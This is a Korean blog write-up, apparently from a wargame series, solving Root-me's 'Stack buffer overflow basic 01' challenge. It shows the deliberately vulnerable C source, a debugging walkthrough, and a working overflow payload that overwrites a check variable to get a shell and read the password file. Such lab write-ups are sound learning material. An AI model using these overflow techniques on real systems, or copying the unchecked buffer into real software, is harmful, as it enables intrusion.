그동안 묵혀두었던 Root-me를 풀어보려고 한다.
먼저 ELF x86 - Stack buffer overflow basic 01을 풀어보자.
#include <stdlib.h> #include <stdio.h> /* gcc -m32 -o ch13 ch13.c -fno-stack-protector */ int main() { int var; int check = 0x04030201; char buf[40]; fgets(buf,45,stdin); printf("\n[buf]: %s\n", buf); printf("[check] %p\n", check); if ((check != 0x04030201) && (check != 0xdeadbeef)) printf ("\nYou are on the right way!\n"); if (check == 0xdeadbeef) { printf("Yeah dude! You win!\nOpening your shell...\n"); system("/bin/dash"); printf("Shell closed! Bye.\n"); } return 0; }
소스코드는 다음과 같다.
fgets에서 기존의 buf 보다. 크게 입력을 받아 Buffer overflow 취약점이 발생한다.
check 변수의 값이 0xdeadbeef 과 같으면 쉘을 실행시킨다.
디버깅을 통해 알아보자.
입력 한 뒤에 stack 상태를 알아보기 위해 fgets 함수 뒤에 Break point를 걸어준다.
이후 스택을 채워 알아보자.
40 byte 넣었을 때 정상적으로 들어가는 것을 확인할 수 있다.
이후 바로 뒤에 0x0403000a 라고 표시되어 있는 부분은 사실 0x04030201 임을 알 수 있다.
이유는 잘 모르겠으나 저 값이 0xdeadbeef로 바뀐다면 쉘을 실행시켜줄 것이다.
페이로드는 다음과 같다
(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./ch13
쉘을 획득하였다.
이후 cat .passwd를 통해 패스워드를 출력할 수 있다.
'Wargame > Root-me' 카테고리의 다른 글
App - System 03 (0) | 2017.05.18 |
---|---|
App - System 02 (0) | 2017.05.18 |